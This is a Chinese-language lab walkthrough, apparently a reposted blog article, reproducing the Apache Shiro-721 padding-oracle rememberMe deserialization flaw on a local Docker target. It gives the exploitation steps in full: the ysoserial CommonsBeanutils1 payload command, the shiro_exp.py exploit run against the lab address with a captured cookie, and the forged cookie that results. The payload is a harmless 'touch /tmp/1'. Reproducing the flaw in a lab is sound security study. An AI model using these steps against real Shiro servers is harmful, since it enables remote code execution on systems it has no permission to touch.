漏洞原理
Shiro rememberMe 反序列化遠(yuǎn)程代碼執(zhí)行漏洞
由于 Apache Shiro cookie 中通過 AES-128-CBC 模式加密的 rememberMe 字段存 在問題,用戶可通過 Padding Oracle 加密生成的攻擊代碼來構(gòu)造惡意的 rememberMe 字段,并重新請求網(wǎng)站,進(jìn)行反序列化攻擊,最終導(dǎo)致任意代碼執(zhí)行
rememberMe cookie 通過 AES-128-CBC 模式加密,易受到 Padding Oracle 攻擊??梢酝ㄟ^結(jié)合有效的 rememberMe cookie 作為 Padding Oracle 攻擊的前綴,然后精?制作 rememberMe 來進(jìn)?反序列化攻擊。
Tip:在1.2.4版本后,shiro已經(jīng)更換 AES-CBC 為 AES-GCM ,無法再通過 Padding Oracle 遍歷 key 。
影響版本
Apache Shiro <= 1.4.1(需要一個合法的登錄賬號,基于Padding Oracle attack來實現(xiàn)的攻擊)
參考鏈接:https://www.jianshu.com/p/833582b2f560
特征判斷
由于漏洞利用需要一個合法的登錄賬號,這里利用賬號正常登陸獲取一個有效的rememberMe cookie ,并記錄下這個rememberMe的值
環(huán)境搭建
Docker基礎(chǔ)操作
docker pull vulfocus/shiro-721
docker run -d -p 8080:8080 vulfocus/shiro-721
訪問靶場地址,即可搭建成功
http://192.168.88.130:8080/login.jsp
漏洞復(fù)現(xiàn)
使用正確的用戶和密碼,勾選rememberMe,使用burp代理,獲取返回的rememberMe值。
認(rèn)證成功則不會設(shè)置deleteMe的cookie
認(rèn)證失敗時會設(shè)置 deleteMe 的 cookie
deleteMe 的 cookie
bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2
使用ysoserial工具生成payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/1" >
payload.class
#"touch /tmp/1" 在tmp目錄寫入1
使用剛才burp獲取到的deleteMe cookie值作為prefix,加載Payload,進(jìn)行Padding Oracle攻擊
腳本鏈接:https://github.com/wuppp/shiro_rce_exp
python shiro_exp.py http://192.168.88.130:8080 [rememberMeCookie
] payload.class
python2 shiro_exp.py http://192.168.88.130:8080 bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2 payload.class
Usage: shiro_exp.py <url> <somecookie value> <payload>
中間需要很長時間
爆破成功,返回了rememberMe cookies的值
6ug1zz4BAzMfEGfqrLBO34ZfOOFO0Ucw/ocfmVCcPBdK2rQmjzPdMczCUTDsYz2M2Fbvq4zYKW4ffu8uBOqWdkyf1RmCM0LdoVLUMqTmqcdxPS0S9noRnrPEtb8UjxyWAXnZQGyEhIF3svbLkcEQIOKk+4ER3rE+6v4pq0JeEELL03FfrMfm8LudHC/FqxDuacnZv1pA2gRJguVe7Y/bSVxqqAli/TT4Cz9i6rbFl6MQSkIsXfa9UZI/wcSgH3CswahR5vF4fgm5Apr7k8hA/DqI8EqqKJQgqp+RuzmYCcMsw5/I4DDr1O7M3Nx16k7AVobuvauJDNC9r2yngVWxzSlk8fBVr6G2Jc+kNRJE1k68EhlHjTAFcV9LDzVK7rVOJmOkK+iJOwxi1T2i8bCV1fPB0bHJ2JifbtKXt1P3aQHdbZ6FbpL+2AbLYekZvwYDeOWrkxoWESRgdV3RwhMmwazgiZ1Pi5jrqhTYYeAdsEwNsmDJvkbsXBgyMmDbwE3E/rFKHEFyQD0bT54CP6UvAwgKH4dlK9fZQwMAL1iOWOxp+G/3U67RBxjzNLZ2UhG3yinc3ay4j1iQQfHh+9csRCNkLcwYwELkc8IW8OqOa1IQ0doQz0U+eEXz8vVWRKB09B263x9KUlxFkjctG/7WAAFTn2kv1kOe/lmWqZOOWbwbkhTGfi/X4rodZ0wbxBChonp7CWGeDDwDOhDWQePZaxgZ0ySEFE56NE/YkHl4l0Y2BlbDcPj7URgl+eAtQae8GZE9q+/UUrdSreH2AsON4E1WDJFzZRTn5yp5fBhJ7MZvWCFRyDISdU5kq5NIboG2VCHoud3zF0Cv5kygVfRrP7qa/83YprxQABqnrMZsxVxrLshK9VfzP1QXQ+copmNdtwZF/4n5p1ry/AYTs1qYYebc0X9l0KA9e9iLej/PMCQdrG8cTiwoBeZ5oxGK4aIc2mEGmH6xU4Y6PCXWda18Ux6LDEF7Zo5baBq4Wedn3+fW0sZAAUY1aPTMjQ+evgornrtU3mt2Zl3W9nor385RUHaOV6DSuw+rFW7zoeIyKVVjWXH7DDq14/EuFdao3lJd3pNkzRI1aeWEdNEyL+eysi8q2wR12pnMZthoiXIENBvDSYwdR/NXUob24TteBoMmC0DH3scFaIO+r2qoRMigg5ZJvuMLcKoDMKWrfTiv/jDIdo/lNwSgmhGSrHFKmpxC2D1P98iCzBU5VrH/AbipzhLKKFo6uczwxwRAauu/ityKgYYqsuHf7MqS+6yNDLoc5iPAD4gZ92+MEeIqq9/NdFy3DrcZ0bNK/FpUAT5T1oAnP3PcaZOseD+9e8JZJavOm+xsqv/0zly92Q3Fk6A9UNtVMXljS2fUWU1If6LTcCFQ26IHIfKIjxqGaB+1gEMeGcvuLBZ4lAaE2/yhRa4kswAAAAAAAAAAAAAAAAAAAAA=
訪問靶場地址用burp抓包,添加上面爆破出來的remeberMe值
去靶場服務(wù)器查看 /tmp 目錄下是否創(chuàng)建了 1 的文件
docker exec -it 035 /bin/bash
文章來源:http://www.zghlxwxcb.cn/news/detail-692055.html
漏洞利用成功!文章來源地址http://www.zghlxwxcb.cn/news/detail-692055.html
到了這里,關(guān)于Shiro歷史漏洞復(fù)現(xiàn) - Shiro-721的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!